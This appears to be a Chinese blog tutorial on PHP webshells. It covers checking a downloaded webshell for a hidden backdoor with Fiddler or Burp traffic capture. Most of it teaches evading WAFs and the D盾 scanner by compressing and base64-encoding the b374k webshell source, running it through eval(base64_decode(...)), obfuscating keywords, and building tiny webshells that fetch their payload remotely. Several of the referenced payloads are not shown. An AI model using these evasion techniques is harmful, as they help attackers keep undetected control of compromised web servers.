Part 1


Part 2
大马后门检查: Fiddler 抓包

审计代码
这里我以http://webshell8.com/ 这里的大马为例子演示
修改并运行脚本

Burp抓包或者右键查看原代码

修改并运行代码

再使用Burp抓个包

查找关键字GetHtml hmlogin localhost等

把上图的base64代码解密下

Part 3
大马源码免杀
这里我使用的是国外的一款大马b374k来进行免杀。

执行代码 eval 或 preg_replace的/e修饰符来执行大马代码。

$a = 'phpinfo();'; eval($a); //eval执行php代码
编码
如果直接去执行代码,是过不了waf的,我们一般需要将大马源码进行编码。

$code= file_get_contents('D:\phpStudy\WWW\Test\Zlib\help.txt'); //大马源码路径
$encode = base64_encode(gzdeflate($code)); //加密函数自己修改就行
echo $encode; //输出加密后代码
在线加解密码 点这里
这里我先将b374k的源码去掉<?php ?>后,base64加密

解码
通过解码执行我们的代码。

那我们来试试解码并执行刚刚base64加密的大马。
<?php
eval(base64_decode('刚刚加密的代码'));
?>

关键字免杀
// 类型这样的关键字如果没有混淆拆分是过不了waf的
eval(base64_decode('code'));
// 我们需要做的就是关键字免杀
免杀 过狗过D盾 注意: code就是我们刚刚加密的base64代码。

免杀

D盾规则库

免杀 payload 2

总结,源码免杀就到这里了,其实只需要些php基础,轻松免杀。
Part 4
只有几百字节的大马
首先我们需要了解,几百字节是什么概念 1kb = 1024b

那么我们怎么实现呢,2种思路远程读取和远程下载

远程读取 payload 3

上传txt

免杀

payload 4

免杀

远程下载 payload 5

免杀

大小最小的一百多字节,其他2个两百多字节那样子。
原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er

微信扫一扫
支付宝扫一扫 